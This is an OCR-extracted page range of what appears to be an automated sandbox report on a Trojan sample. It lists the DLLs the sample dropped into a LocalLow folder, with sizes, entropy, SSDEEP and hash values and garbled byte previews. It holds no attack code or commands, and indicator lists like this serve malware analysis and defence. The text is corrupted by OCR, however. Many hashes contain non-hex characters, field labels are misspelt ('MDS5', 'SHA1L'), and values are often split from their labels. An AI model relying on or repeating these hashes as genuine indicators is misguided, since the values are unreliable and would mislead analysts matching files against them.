PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

19248

7.072555805949365

false

384:2925WPhWWsnhi0O0GftpBjlu6gXxem4l1z6hi:25+SnhoiG61eA8
19A40AF040BD7ADD901AA967600259D9
05B6322979B0B67526AE5CD6E820596CBE7393E4
4B704B36E1672AE02E697EFD1BF46F11B42D776550BA34A90CD189F6C5C61F92
5CC4D55350A808620A7E8A993A90E7D05B441DA24127A00B15FI6AAE902E4538CA4FED5628D7072358E14681543FD750AD49877B75E790D201AB9BAFF6898C8L

false
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C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-sysinfo-11-1-0.dll

Preview:

...e..ng...e.Rich..e.PE..L.....C=....
text...E

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-timezone-I1-1-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

18224

7.17450177544266

false

384:SWPhWK3di00GftpBjH35Gvem2Al1z6hlu:77NoiOve7eu
BABF80608FD68A09656871EC8597296C
33952578924B0376CA4AE6A10B8D4ED749D10688
24C9AA0OB70E557A49DAC159C825A013A71A190DF5E7A837BFA047A06BBAS9ECA
3FFFFD90800DE708D62978CA7B50FE9CE1E47839CDAL1EDIE7723ACEC7AB5829FA901595868E4AB029CDFB12137CF8ECD7B685953330D0900F741C894B88257

false

......... T
L@.. .RSDS.A.b. .t.H.a.......api-ms-win-core-timezone-|1-1-0.pdb.
ata..T ........ rdata$zzzdbg C...rsrc$01... . Y.Xo (el Pes 5. S Fodis Ui Lo
ms-win-core-timezone-|1-1-0. dII FlIeT|meToSystemT|me kernel32.FileTimeToSystemTime.GetDynamicTimeZ

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-util-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

18232

7.1007227686954275

false
192:pePWIghWG4U9wluZ01230uo+Uggs/nGfe4pBjSbKT8wuxWhOtxKdmVWQ4CWnFnwQ:pYWPhWFS0i00GftpBj7DudemJIP552
0F079489ABD2B16751CEB7447512A70D

679DD712ED1C46FBD9BC8615598DA585D94D5D87
F7D450A0F59151BCEFB98D20FCAE35F76029DF57138002DB5651D1B6A33ADC86
92D64299EBDE83A4D7BE36F07F65DD868DA2765EB3B39F5128321AFF66ABD66171C7542E06272CB958901D403CCF69ED716259E0556EE983D2973FAA03C55D3

false

api-ms-win-core-util-11-1-0.pdb......... T..rdata.T........ r
api-ms-win-core-util-11-1-0.dll.Beep.kernel32.Beep
DecodePomter kernel32. DecodePomter DecodeSystemPomter kernel32.DecodeSystemPointer.EncodePointer.kernel3

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-conio-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

19256

7.088693688879585

false

384:8WPhWz4Ri00GftpBjDb7bemHIndanJ7DW:FmO0oiV7beV
6EA692F862BDEB446E649E4B2893E36F
84FCEAE03D28FF1907048ACEE7EAE7E45BAAF2BD
9CA21763C528584BDB4EFEBE914FAAF792C9D7360677C87E93BD7BA7BB4367F2
9661C135F50000E0018B3E5C119515CFE977B2F5F88BOF5715E29DF10517B196C81694D074398C99A572A971EC843B3676D6A831714AB632645ED25959D5E3E7

false

1..L.IThis program cannot be run in DOS mode....$.......m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L

...RSDS
> Wi Lo WP sl

rdata$zzzdbg.. rsrc$01.. .
| ST L PG $.=...

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-convert-11-1-0.dll

Process:

File Type:

Copyright null 2021

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
PE32 executable (DLL) (console) Intel 80386, for MS Windows
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C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-convert-11-1-0.dll

Category: dropped

Size (bytes): 22328

Entropy (8bit): 6.929204936143068

Encrypted: false

SSDEEP: 384:EuydWPhW7snhi00GftpBjd6t/emJIDbN:3tnhoi6t/eAp

MDS5: 72E28C902CD947F9A3425B19AC5A64BD

SHAL: 9B97F7A43D43CBOF1B87FC75FEF7DIEEEALLEGF7

SHA-256: 3CC1377D495260C380E8D225E5EE889CBB2ED22E79862D4278CFA898E58E44D1
SHA-512: 58AB6FEDCE2F8EE0970894273886CB20B10D92979B21CDA97AE0C41D0676CCOCD90691C58B223BCESF338E0718D1716E6CES59A106901FE9706F85C3ACF7855F
Malicious: false

Preview:

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-environment-11-1-0.dll

Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18736

Entropy (8bit): 7.078409479204304

Encrypted: false

SSDEEP: 192:bWIghWGd4edXe1230uo+Uggs/nGfe4pBjSXXmv5WhOtxKdmVWQ4SWEApkgnajPBZ:bWPhWgXYiO0GftpBjBemPI1z6h2

MDS5: AC290DAD7CB4CA2D93516580452EDALC

SHA1L: FA949453557D0049D723F9615E4F390010520EDA

SHA-256: C0D75D1887C32A1B1006B3CFFC29DF84A0D73C435CDCB404B6964BE176A61382

SHA-512: B5E2B9F5A9DD8A482169C7FCO5F018AD8SFEGAE27CB6540E67679272698BFCA24B2CA5A377FA61897F328B3DEAC10237CAFBD73BC965BF9055765923ABA9478F
8

Malicious: false

Preview:

.m...e...e..e.ne...e.na...e..n....e..ng...e.Rich..e.PE..L....jU..

Lotext 2o

1..L.IThis program cannot be run in DOS mode....$

....d...rdata..d........rdata$zzzdbg... .
...................... ) e @

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-filesystem-11-1-0.dll

Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 20280

Entropy (8bit): 7.085387497246545

Encrypted: false

SSDEEP: 384:506nWm5C1WPhWFKOi00GftpBjB1UemKklUG+zIOd/:x6nWm5CiooiKeZnbd/
MDS5: AEC2268601470050E62CB8066DD41A59

SHA1L: 363ED259905442C4E3B89901BFD8A43BI6BF25E4

SHA-256: 7633774EFFE7COADD6752FFE90104D633FC8262C87871D096C2FC07C20018ED2
SHA-512: 0C14D160BFA3AC52C35FF2F2813B85F8212C5F3AFBCFE71A60CCC2B9E61ES1736FOBF37CALF9975B28968790EAG62ED5924FAE4654182F67114BD20D8466C4B8
Malicious: false

Preview:

..rdata$zzzdbg..
..... 7. XV

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-heap-11-1-0.dll

Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 19256

Entropy (8bit): 7.060393359865728

Encrypted: false

SSDEEP: 192:+Y3vY17aFBR4WIghWG4U9CedXe1230uo+Uggs/nGfe4pBjShGGAPWhOtxKdmVWQC:+Y3e9WPhWFsXYi00GftpBjfemnlP55s
MDS5: 93D3DA06BF894F4FA21007BEEO6B5E7D

SHA1L: 1E47230A7EBCFAF643087A1929A385E0D554AD15

SHA-256: F5CF623BA14B017AFAAEC6C15EEE446C647AB6D2A5DEE9D6975ADC69994A113D

Copyright null 2021 Page 38 of 245



C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-heap-11-1-0.dll

SHA-512:

Malicious:

Preview:

72BD6D46A464DE74A8DACAC346C52D068116910587B1C7B97978DF888925216958CE77BE1AE049C3DCCF5BF3FFFB21BC41A0AC329622BC9BBC190DF63ABB2E
C6

false

8=...
7..d..d...Jo Jo. ..pkQX][....api-ms-win-crt-heap-11-1-0.pdb..
rsrc$02........ J.O .6 [ [, S Lo VoY, i

..... U..z.

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-locale-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

18744

7.13172731865352

false
192:fiwWlghWGZirX+4z1230uo+Uggs/nGfe4pBjS/RFcpOWhOtxKdmVWQ4GWs8yIDikh:aWPhWjO4Ri00GftpBjZzZOemSXIVNQO
A2F2258C32E3BA9ABFIE9E38EF7DABCY

116846CA871114B7C54148AB2D968F364DA6142F
565A2EEC5449EEEED68B430F2E9B92507F979174F9C9A71D0C36D58B96051C33

E98CBC8D958E604EFFAG614A3964B3D66B6FC646BDCASAAG7IEASE4EBI2EC0497B91485A40742F3471FAFF10DE83122331699EDC56A50F06AE86F21FAD70953F
E

false

.rsrc. |..0......9.
...rdata..d. S...rsrc$01..."
LR n9n X

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-math-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

28984

6.6686462438397

false
384:70TEmbM40e5grykflgTmLYWPhW30i00GftpBjAKemXIDbNI:dEMq5grxflnbRoiNeSp
8BOBA750E7B15300482CE6C961A932F0
71A2F5D76D23E48CEF8F258EAADG3ES86CFCOEL9
BECE7BAB83A5DOEC5C35F0841CBBF413E01AC878550FBDB34816ED55185DCFED
FB646CDCDB462A347ED843312418F037F3212B2481F3897A16C22446824149EE96EB4A4B47A903CA27B1F4D7A352605D4930DF73092C380E3D4D77CE4E972C5A

false

L.IThis program cannot be run in DOS mode....$.......m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L
text...
api-ms-win-crt-math-11-1-0.pdb.

LT (e (@ X 4 MG

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-multibyte-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

Copyright null 2021

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

26424

6.712286643697659

false

384:kDy+Kr6aLPmIHJI6/CpG3t2G3t4odXLSWPhWFY 0i00GftpBjbnMxem8hzImTMILV:kDZKrZPmIHJI64GoiZMxe0V
35FC66BD813D0F126883E695664E7B83

2FD63C18CC5DC4DEFC7EA82F421050E668F68548
66ABF3A1147751C95689F5BC6A259E55281EC3D06D3332DD0OBA464EFFA716735

65F8397DES5C48D3DF8AD79BAF46C1D3A0761F727E918AE63612EA37D96ADF16CC76D70D454A599F37FIBA9BAE2E3BEBC845DF4C74FC1E1131720FDODCB8814
1

false

api-ms-win-crt-multibyte-11-1-0.pdb.
TR 1T Wi .L..q..

<o rdata..d........ rdata$zzzdbg
.................... B T Z b LMo
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C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-private-11-1-0.dll

Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 73016

Entropy (8bit): 5.838702055399663

Encrypted: false

SSDEEP: 1536:VAHEGIVDe5c4bFE2Jy2cvxXWpD9d3334BkZnkPFZo6kt:Vc7De5c4bFE2Jy2cvxXWpD9d3334BkZj
MD5: 9910A1BFDC41C5B39F6AF37F0A22AACD

SHA1L: 47FA76778556F34A5E7910C816C78835109E4050

SHA-256: 65DED8D2CE159B2F5569F55B2CAFOE2C90F3694BD88C8IDE790A15A49D8386B9

SHA-512: A9788D0OF8B3F61235EF4740724B4A0D8COD3CF51F851C367CC9779AB07F208864A7F1B4A44255E0DESE030D84B63B1BDB58F12C8C20455FF6A55EF6207B31A91]
Malicious: false

Preview:

. . ..RSDS.J..w/.8..bu..3.....api-ms-wi
d....rdata..d........ rdata$zzzdbg .rsrc$01. .rsrc$02. M 8..h#.5.>..2.7?2.._2.2.2..2.@.V@...Q...@...@..+A.\A..

.A.A.A.B.LB..B..B..C.HC..C..C..C..C..D..HD..D...D...E..eE...E...E..F..1F..gF..F..F..G..BG..uG...G..

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-process-11-1-0.dll

Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 19256

Entropy (8bit): 7.076072254895036

Encrypted: false

SSDEEP: 192:aRQqjd7dWIghWG4U9kuDz7M1230uo0+Uggs/nGfe4pBjSbAURWhOtxKdmVWQ4CW+6:aKcWPhWFkDz6i00GftpBjYemZIUG+zIU
MD5: 8D02DD4C29BD490E672D271700511371

SHAL: F3035A756E2E963764912C6B432E74615AE07011

SHA-256: C03124BA691B187917BA79078C66E12CBF5387A3741203070BA23980AA471E8B

SHA-512: D44EF51D3AAF42681659FFFFF4DD1A1957EAFAB8AB7BB798704102555DA127B9D7228580DCED4EOFCI8C5F4026B1BAB242808E72A76E09726B0OAF839E384C3B
Malicious: false

Preview:

1..L.IThis program cannot be run in DOS mode....$.......m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..L.h

..RSDSZ\.qM..l....3.....api-ms-win-crt-process-11-1-0.pdb...

e XKt &oe@..Y Qi * Bz
C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-runtime-11-1-0.dll
Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 22840
Entropy (8bit):  6.942029615075195
Encrypted: false
SSDEEP: 384:7b7hrkKwWPhWFIsnhi00GftpBj+6em90ImTMiLzrF7:7bNrKxZnhoig6eQN7
MD5: 41A348F9BEDC8681FB30FA78E45EDB24
SHA1L: 66E76C0574A549F293323DD6F863A8A5B54F3F9B
SHA-256: C9BBC07A033BAB6A828ECC30648B501121586F6F53346B1CD0649D7B648EAG0B
SHA-512: 8C2CB53CCF9719DES7EEGSED2E1947E266EC7E8343246DEF6429C6DFODC514079F5171ACD1AAGB37276256C607F1063144494B992D4635B01E09DDEAGFSEEF2C
Malicious: false
Preview:

C....api-ms-win-crt-runtime-11-1-0.pdb
U 4SS E...g...

....rdata..d........rdata$zzzdbg edata...0.."....rsrc$01....°
M & Eofd LD >

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-stdio-11-1-0.dll

Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 24368

Entropy (8bit): 6.873960147000383

Encrypted: false

SSDEEP: 384:GZpFVhjWPhWXEi00GftpBjmjjem3Cl1z6h1r:eCfoi0espbr

MDS5: FEFB98394CB9EF4368DA798DEABOOE21

SHA1L: 316D86926B558C9F3F6133739C1A8477BIE60740
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C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-stdio-11-1-0.dll

SHA-256:
SHA-512:
Malicious:

Preview:

B1E702B840AEBE2E9244CD41512D158A43E6E9516CD2015A84EB962FA3FFODF7
57476FE9B546E4CAFB1EF4AFD1CBD757385BA2D445D1785987AFB46298ACBE4B05266A0C4325868BC4245C2F41E7E2553585BFB5C70910E687F57DACGASESLLE

false

1..L.IThis program cannot be run in DOS mode....$.......m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-string-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

23488

6.840671293766487

false

384:5iFMx0C5yguNvZ5VQgx3SbwA7yMVIKFGINWPhWGTIO0GftpBjslem89IgC:56 S5yguNvZ5VQgx3SbwA71lkFv5oialj
404604CD100A1E60DFDAF6ECF5BA14CO

58469835AB4B916927B3CABF54AEE4F380FF6748
73CC56F20268BFB329CCD891822E2E70DD70FE21FC7101DEB3FA30C34A08450C

DA024CCB50D4A2A5355B7712BA896DF850CEES7AA4ADA33AADOBAEGI60BCD1ESE3CEE9488371AB6E19A2073508FBB3F0B257382713A31BC0947A4BF1F7A20E
E4

false

L.IThis program cannot be run in DOS mode....$.......m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L

Jo R rdata$zzzdbg .
[ Abo <Xl

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-time-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
PE32 executable (DLL) (console) Intel 80386, for MS Windows
dropped
20792
7.018061005886957
false
384:8ZSWWVgWPhWFe3dio0GftpBjnlfemHIUG+zITA+0:XRNoibernAA+0
849F2C3EBF1FCBA33D16153692D5810F
1F8EDA52D31512EBFDD546BE60990B95C8E28BFB
69885FD581641B4A680846F93C2DD21E5DD8E3BA37409783BC5B3160A919CB5D
44DC4200A653363C9A1CB2BDD3DA5F371F7D1FB644D1CE2FF5FES57D939B35130AC8AE27A3F07B82B3428233F07F974628027B0E6B6F70F7B2A8D259BE95222F!
false

1..L.IThis program cannot be run in DOS mode....$

.m....e..e..e.ne...e.na...e..n....e..ng...e.Rich..e.PE..L....OL..

ta.d....... rdata$zzzdbg . .
....... 2o R KON K

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-utility-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

Copyright null 2021

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

18744

7.127951145819804

false
192:QqfHQdu3WIghWG4U9lYdsNtL/1230uo+Uggs/nGfe4pBjSb8Z9WhOtxKdmVWQ4Cg:/fBWPhWF+esnhi00GftpBjLBemHIP55q
B52A0CA52C9C207874639B62B6082242

6FB845D6A82102FF74BD35F42A2844D8C450413B
A1D1D6BOCB0A8421D7C0D1297C4C389C95514493CD0OA386B49DC517AC1BIA2BO
18834D89376D703BD461EDF7738EB723AD8D54CB92ACCIB6F10CBB55D63DB22C2A0F2F3067FE2CC6FEB775DB397030606608FF791A46BF048016A1333028D0A

false

[ I rdata$zzzdbg. X
.......... Al i3 N €.
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C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\breakpadinjector.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

117712

6.598338256653691

false

3072:9b9ffsTV5n8cSQQtys6FXCVnx+IMD6eN07e:P25V/QQs6WTMex7e
A436472BOA7B2EB2C4F53FDF512D0CF8
963FEBAEIEC8819EF2A674DBF7C6A92DBB6B46A9
87ED943D2F06DICAB824789405B412E770FE84454950EC7E96105F756D858E52
89918673ADDC0501746F24EC9A609AC4D416A4316B27BF225974E898891699B630BB18DB32432DA2F058DC11D9AF7BAF95D067B29FB39052EE7C6F622718271B

false

L.!IThis program cannot be run in DOS mode....$

SLYTLT LT x> L A% xS A~ Rz AT A
S @ P.P.... (vt ST

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\freebl3.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

334288

6.808908775107082

false
6144:6cYBCU/bEPU6Rc5xUqc+z75nv4FOGHTrIraqgDL6XPSed:67WRCB7zI4F014gn6R
60ACD24430204AD2DC7F148B8CFE9BDC
989F377B9117D7CB21CBE92A4117F88FIC7693D9
9876C53134DBBEC4DCCA67581F53638EBA3FEA3A15491AA3CF2526B71032DA97

626C36E9567F57FABECI9C36D96CBADEDEYC6F6734A7305ECFBIF798952BBACDFA33A1B6C4999BA5B78897DC2EC6F91870F7EC25B2CEACBAEE4BE942FESS1
DBO1

false

MZ.oiiiiiiiiee @ oo e I..L.IThis program cannot be run in DOS mode....$......... /..AV..AV..AV...V.AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..
AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV

@.coeveeeeeeen PP [ S P 0T (@I 8.

H .@....1src.. x....@.

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\Idap60.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

132048

6.627391684128337

false
3072:qgXCFTvwgiiynFa6zqeqQZ06DdEH4sq9gHNalkiQhEwe:qdvwgMFbOePIP/zklQ2h
5A49EBF1DA3D5971B62A4FD295A71ECF
40917474EF7914126D62BA7CDBF6CF54D227AA20
2B128B3702F8509F35CADOD657C9A00F0487B93D70336DF229F8588FBA6BA926
AB6123BA3BCFIDEBAABCEO9F2F84D6D3C79B0586F9E2FDOC8A6C3246A91098099B64EDC2F5D7E7007D24048F10AE9FC30CCF7779171F3FD03919807EE6AF768(

false

........... O.covrreeen. @
.@..@.data...l.....

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\Idif60.dll

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

Copyright null 2021

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

20432

6.337521751154348

false
384:YXfML3ALXKOAZEUzOJKRsIFYVDG8A30PLonw4S:0fMmxFyO4RpGDG8M;|S
4FE544DFC7CDAA026DAGEDAO9ICADE6CA
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C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\Idif60.dll

SHA1L:

SHA-256:
SHA-512:
Malicious:

Preview:

85D21E5F5F72A4808F02F4EA14AAG5154E52CE99
3AABBEOAABGCEBA91E5C49B7DES77AF73B9889D7F03AF919F17F3F315A879B0F
5C78C5482E589AF7D609318A6705824FD504136AEAACG3F373E913DA85FA03AF868669534496217B05D74364A165D7E08899437FCCOE3017F02D94858BA814BB

false

CXen 0L T
@..@.reloc..x.

1@
..0..

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\Igpllibs.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

55760

6.738700405402967

false
1536:LxsBS3Q6j+37mWT7DT/GszGrn7iBCmjFCOu:LXTBcmWT7X/Gszen7icmjFtu
56E982D4C380C9CD24852564A8C02C3E
F9031327208176059CD03F53C8C5934C1050897F
7F93B70257D966EA1C1A6038892B19E8360AADDBESAESSE75EBB0697BIEAB786

92ADC4C905A800F8AB5C972B166099382F930435694D5F9A45D1FDE3FEF94FACS57FD8FAFF56FFCFCFDBC61A43E6395561B882966BEOC814ECC7EG672C67EG76!
A

false

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\libEGL.dII

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

22480

6.528357540966124

false
384:INZ9MLVDAffIIKAtNOMLAb8X3FbvDG8A30PLonzvGh:4mx+fXvn4YFrDG8MKb
96B879B611B2BBEE85DF18884039C2B8
00794796ACAC3899C1FB9ABBF123FEF3CC641624
7B9FC6BE34F43D39471C2ADD872D5B4350853DB11CC66A323EFIE0C231542FBI
DF8F1AA0384A5682AE47F212F3153D26EAFBBF12A8C996428C3366BEBE16850D0BDA453EC5F4806E6A62C36D312D37B8BBAFF549968909415670C9C61A6ECA9

false

~ N{T-{N{.T-..N{. T-y.N{.Rich.N{

.@....rsrc.. X....P..

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\mozMapi32.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Copyright null 2021

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

83408

6.436278889454398

false

1536:CNr03+TtFKytqBOEeCsulsW+cdQOTki9jHiU:CNrDKHBBjXQSki9OU
385A92719CC3A215007B83947922B9B5
38DE6CA70CEE1BAD84BED29CE7620A15E6ABCD10
06EF2010B738FBE99BCDEBBF162473A4EE090678BB6862EEBODAC7A8C3F225BB

9FODFFO0C7E72D7017AECE3FA5C31A9C2C2AA0CCC6606D2561CE8BD36A4A1FOAB8DCA452E2C65E9F4B6CD32BBB8ADALFF7C865126A5F318719579DB763E4C4!
3F

false
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C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\mozMapi32.dll

Preview:

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\mozMapi32_InUse.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

83408

6.436278889454398

false

1536:CNr03+TtFKytqBOEeCsulsW+cdQOTki9jHiU:CNrDKHBBjXQSki9OU
385A92719CC3A215007B83947922B9B5
38DE6CA70CEE1BAD84BED29CE7620A15E6ABCD10
06EF2010B738FBE99BCDEBBF162473A4EE090678BB6862EEBODAC7A8C3F225BB

9FODFF00C7E72D7017AECE3FA5C31A9C2C2AA0CCC6606D2561CE8D36A4A1FOAB8DCA452E2C65E9F4B6CD32BBB8ADALFF7C865126A5F318719579DB763E4C4!
3F

false

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\mozglue.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

137168

6.784614237836286

false
3072:26s2DIGLXINJIcPoNOj/kVghplqt/TXTv7q1D2JJIvPhrSeXZ5dR:MszGLXINIE/kVghp12/TXT{SD2JJJIvPt
EAE9273F8CDCF9321C6C37C244773139

8378E2A2F3635574C106EEA8419B5EB00B8489B0
A0C6630D4012AE0311FF40F4F06911BCF1A23F7A4762CE219B8DFFA012D188CC

06E43E484A89CEA9BA9B9519828D38E7C64B040F44CDAEB321CBDA574E7551B11FEA139CE3538F387A0A39A3D8CA4CBA7TFACFO3E4A3C98DB85F8121C2212A90
7

false

